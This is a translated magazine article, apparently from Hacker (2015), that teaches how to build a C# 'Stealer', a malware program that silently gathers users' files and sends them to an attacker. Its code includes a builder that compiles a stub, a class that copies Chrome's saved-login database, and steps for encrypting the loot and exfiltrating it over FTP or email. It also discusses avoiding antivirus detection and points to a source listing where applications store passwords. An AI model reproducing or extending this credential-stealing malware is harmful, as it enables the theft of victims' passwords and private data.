Stealer in C #. We hit the 9kb of executable file



    There is a class of programs designed to receive specific (or whatever) files from the user and send them to specially authorized people. Of course, with the prior written consent of the mentioned users! This class of programs is called Stealer. Their most striking representative, UFR Stealer has a nice interface, a lot of settings, and for some misunderstanding is detected by all known antiviruses. And what would happen if hackers wrote similar programs in C #? Fantasy!

    To begin with - get your breath in and finally upgrade to the free Visual Studio Community 2013 :). It's 2015, and sitting on the old Visual Studio Express is no longer cool. As you put it, look in the Extensions and updates section and install some useful extensions, such as Resharper or Productivity Power Tools 2013. To analyze the resulting builds, the free dotPeek decompiler is quite suitable , this is a very good utility that will show what happened there and can build a solution and a file with debugging symbols.

    Briefly about the program


    • Able to take the specified files, encrypt and send to FTP or email.
    • It is written using the 22nd GOF catalog template “Template Method”, it is very easy to expand the range for shipping. The output exe 9 Kb.
    • Only the builder himself can open the received container (serialized dictionary ), decrypt and take out the saved files.
    • The key is hardcore.
    • It does not set an icon; it does not run from avers.

    We set goals and define requirements


    So, let's try to guess how hackers think at this stage. For them, the problem is that the user has files that are interesting not only to him. Perhaps the user does not even know that they exist and where they are located exactly, but this does not make it easier for hackers. It is necessary to somehow get a copy of them and see what's inside - who knows, maybe this is exactly what you need?

    In order not to disturb the user with their actions, not to interrupt his series and not interfere with communication on social networks, hackers add certain functionality to their programs. Their programs are small and silently perform their work (silent mode). The target platform for today is usually chosen by Windows 7 and older versions. XP is a good thing, but it is losing ground, and, according to one well-known anti-virus developer, its share at the end of 2015 will be only 16-17%.

    We design and construct



    Solution Explorer

    On TV they say that hackers always sit at computers in masks and gloves :). So that it would not be so hot for them to program, let's set a task: the program should be really small. Both in the number of lines of code and in the size of the executable file. So, in Visual Studio we create a new window application and define several namespaces (namespace):
    • Stealer - logic and interface;
    • Stealer.Targets - files that will be the target of the program;
    • Stealer.STUB - the stub itself;
    • Stealer.Extension - extension methods (one will be required).

    This is necessary so as not to get confused about which class to invest in and, accordingly, where to look for it later. Actually the classes themselves will not be so many, basically these are various implementations of the AbstractFile abstraction (the 22nd pattern from the GOF catalog “Template Method”). Here is his code:

    namespace Stealer.Targets
    {
    abstract class AbstractFile
    {
    	public byte[] DoJob()
    	{
        	return IsExist() ? GetFile() : null;
    	}
    	public abstract bool IsExist();
    	public abstract byte[] GetFile();
    }
    }
    

    The main idea of ​​this class is to form the structure of an algorithm that will already be implemented in Google Chrome, ICQ, Skype, and so on.

    Yes, a small addition. In this example, the logic of the application is inside the shared class Form, if you want to additionally implement the console or WPF interface, then it should be taken out separately and subscribed to the group of expected events. You can read more about proper architecture at Steve McConnell (Code complete).

    Interface



    MainForm

    On the window created in the designer, a menu is thrown, three combo boxes, two buttons, six text boxes with labels and eleven check boxes. An approximate grouping and arrangement of these elements is shown in the picture. The window style is set in a “dialogue” so that it cannot be expanded to full screen. Icon to taste, the network has archives with thousands of copies for every taste. The subscription will be implemented for three events, namely by clicking on the Check all, BUILD buttons and the “& OpenFile ...” menu item. On this, the design of the visual part of the application ends, we move on.

    The code under the buttons could be very trivial, but, as they say, it wasn’t there. Excerpt from BUILD:

    var replaceAdd = new StringBuilder();
    var replaceClass = new StringBuilder();
    var checkedBoxes = this.AllControls().Where(c => !c.Text.Contains("-")).Where(c => c.Checked);
    foreach (CheckBox checkBox in checkedBoxes)
    {
    	string className = checkBox.Text;
    	replaceAdd.AppendLine(string.Format(@"_filesList.Add(new {0}());", className));
    	var item = GetResource(string.Format(@"Stealer.Targets.{0}.cs", className));
    	replaceClass.AppendLine(CutTheClass(item));
    }
    stub.Replace(@"//[Add_toList]", replaceAdd.ToString());
    stub.Replace(@"//[Class]", replaceClass.ToString());
    

    It’s possible to walk through the collection of active checkboxes with standard tools, but why write so easily when there are beautiful solutions on the Stack Overflow pages? This explains the appearance of an additional namespace for the spied extension method, where it is located (on the advice of Trey Nash in the book Accelerated C # 2010). The trick of this solution is also that all classes that implement abstraction are embedded resources of the application (the following shows how to do this) and have the same name as the text on the checkboxes. Therefore, you just need to go over all the active elements and collect their names, simultaneously adding to the collection and replacing the label in the class stub, // [Add_toList] to add to the List and // [Class] to determine the classes themselves. FTP address, password,

    Getting the resources themselves is as follows. An instance of var assembly = Assembly.GetExecutingAssembly () is created, and in the stream Stream stream = assembly.GetManifestResourceStream (resourceName), data is read to the end and a line of text is returned. The variable resourceName is @ "Stealer.STUB.Stub.cs", which corresponds to the full path of the specified file. We work similarly with other elements of the solution, in the code this line looks like this: "@" Stealer.Targets. {0} .cs ", className", where className is the class name and the text on the checkbox.

    The task of the Check all button is to manage the checkmarks for all purposes at once. This is implemented through a private field of the Form class of Boolean type and one method that takes this value as an argument, applying it to each checkbox. On the event handler, the value of the specified field is read and passed to the method; upon completion of its work, it changes to the opposite.

    We pass to "& OpenFile ...". Here you have to run a little ahead, before reading, I recommend that you familiarize yourself with the Stab section. The code in this handler is organized in a standard way, OpenFileDialog opens and receives the full file name (containing the path), reads it into FileStream and copies it to MemoryStream so that the bytes can be decrypted. As a result, we have the original stream, which must be deserialized (Deserialize) into the dictionary created in the Dictionary stub. It turns out that an object that has retained its state was transmitted over the network. The pluses are that it works well, you do not need to use the archiving code, and only the hacker or his friends reversers can read the intermediate result. The next step is to save the dictionary contained in the RAM to the HDD, here the line that sets the file name comes in handy. Implemented this action through foreach on "KeyValuePairitem in _files ”, in the body of the cycle of which there are two lines: the first“ string filePath = string.Format (folderPath + @ "\ {0}", item.Key); ”and ends its record“ File.WriteAllBytes (filePath, item. Value); ". Everything is concise and beautiful.

    Headquarters


    This is a class that will be compiled into a separate executable assembly using an instance of CSharpCodeProvider and the CompileAssemblyFromSource method. In order to make it readable in runtime, you need to specify Build Action = Embedded Resource in its parameters (F4), and Do not copy in the line below. To prevent the studio from swearing at two Main methods, the Startup object = Stealer.Program is specified in the project settings, this is when the Stab class is not a resource and you can analyze the code for errors. Now let's look at a sample code.

    namespace Stealer.STUB
    ...
    public class Stub
    {
        private static List _filesList = new List();
        public static void Main(string[] args)
        {
            DoJob();
        }
        private static void DoJob()
        {
            //[Add_toList]
            Dictionary _files = new Dictionary();
            foreach (AbstractFile targetFile in _filesList)
            {
                var data = targetFile.DoJob();
                if (data != null)
                {
                    _files.Add(targetFile.ToString(), data);
                }
            }
            using (MemoryStream memoryStream = new MemoryStream())
            {
                BinaryFormatter formatter = new BinaryFormatter();
                formatter.Serialize(memoryStream, _files);
                byte[] encodedBytes = Encrypt(memoryStream.ToArray());
                if (_sendViaFtp)
                {
                    SendViaFtp(encodedBytes);
                }
                if (_sendViaEmail)
                {
                    SendViaEmail(encodedBytes);
                }
            }
        }
    }
    //[Class]
    

    First of all, you should pay attention to the fact that all the main work is performed using the generalized List collection and abstraction. All the elements of the collection are apkastized to an abstract class, and the DoJob method is called on their instances, which checks to see if the file is searched, and if the answer is yes, it tries to get it. Next, each resulting file is placed in the Dictionary collection., which stores the name of the program containing the file, and the data itself as an array of bytes. After traversing the entire List collection and filling out the Dictionary, the latter is serialized, then it is encrypted and, finally, sent over the specified communication channel.

    The listing does not show the SendViaFtp and SendViaEmail methods, examples of which will be shown later, the Encrypt method (in fact, the concrete implementation does not matter, any symmetric algorithm is selected), the AbstractFile class and the class fields that will store logins, passwords and keys encryption. That's all, there is nothing more interesting and new in the stub.

    File Retrieval Algorithm


    Thanks to the Pattern Method method, designing classes for searching and retrieving files has become very simple, you can add dozens of new ones, and you don’t need to make any changes to the code that uses them, that is, the stub. The caller does not care what and how is implemented inside, this business is called abstraction of execution options. For example, let's look at the implementation of the GoogleChrome class, from the name of which you can guess what exactly it should find and copy.

    namespace Stealer.Targets
    ...
    class GoogleChrome : AbstractFile
    {
        private string _path = null;
        public override bool IsExist()
        {
            string userNamePath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
            _path = string.Format(@"{0}\Google\Chrome\User Data\Default\Login Data", userNamePath);
            return File.Exists(_path);
        }
        public override byte[] GetFile()
        {
            string pathCopy = Path.GetTempPath() + Path.GetRandomFileName();
            File.Copy(_path, pathCopy);
            byte[] data = File.ReadAllBytes(pathCopy);
            File.Delete(pathCopy);
            return data;
        }
        public override string ToString()
        {
            return "GoogleChrome";
        }
    }
    

    The ToString method is redefined to make it easier to fill out and analyze the dictionary from the stub upon receipt. Other file search classes look identical, the only difference is in the path and, possibly, there are additional checks depending on the type of storage. In order not to forget which methods you need to implement from an inherited class, or simply reduce the time of keyboard input, you can click on AbstractFile and wait for the prompt to implement the abstract class, which will automatically construct the necessary code.

    Stress free programming


    To learn how much you can add to the program without much effort and how to save a lot of time on personal research, the Password Secrets of Popular Windows Applications resource helps hackers , it carefully contains information about the location of files of interest and analysis utilities.

    File Submission Algorithm



    SendViaFTP

    As you can see in the picture of the main form of the application, in this part we will discuss an example of the implementation of sending via FTP and email. Let's start with the first one. In the FtpWebRequest constructor, the URL from the text box of the main form, which was inserted into its label in the stub, is set. The name of the transferred file is also added to it, which is used by Environment.UserName in conjunction with Path.GetRandomFileName. This is done to ensure that users with the same name do not overwrite each other. The transport method is set to WebRequestMethods.Ftp.UploadFile, and NetworkCredential (_ftpUser, _ftpPass) is specified, similar to the URL. The operability of the method is checked on local FTP, smallftpd 1.0.3 was used for this.


    SendViaEmail

    At first, there were some problems with the mail, but all because of changes in the connection rules (more details can be found here: “Using SmtpClient to send mail through the SMTP server” ). Formation of the letter begins with an attachment, and since an array of bytes is transferred to the method for sending, and the Attachment constructor waits for a MemoryStream, we translate it into a MemoryStream at the beginning of the method using the using directive. The file name is set in the same way as FTP. The MailMessage message itself initializes the From, Subject, Body, Sender, To properties, and completes the baton call Attachments.Add (attachment), adding the created attachment. The following is an instance of SmtpClient, which is populated similarly to the message. And finally, the line smtpClient.Send (mail); sends the generated letter to the mail server.

    Conclusion


    Today we fantasized about what Stealer might look like in C #, examined its possible internal structure and the goals pursued. I note that during the experiments, my antivirus began to give an alarm only when the Encrypt method was added, before that the program could send the file via FTP anywhere. With the advent of the option of sending by mail, the name of the identified “malvari” changed to “trojan” ... but about how hackers deal with this, read in previous releases] [in the article about cryptors :).

    DVD


    Project mates are waiting for you at dvd.xakep.ru. In order not to overly please the violin scripts and not to annoy the servants of the law, they are not directly compiled. You have to fix some minimal errors. So all sins are on your conscience!

    image

    First published in the Hacker magazine from 02/2015.
    Author: Dywar, mrdywar@gmail.com


    Subscribe to Hacker

    Also popular now: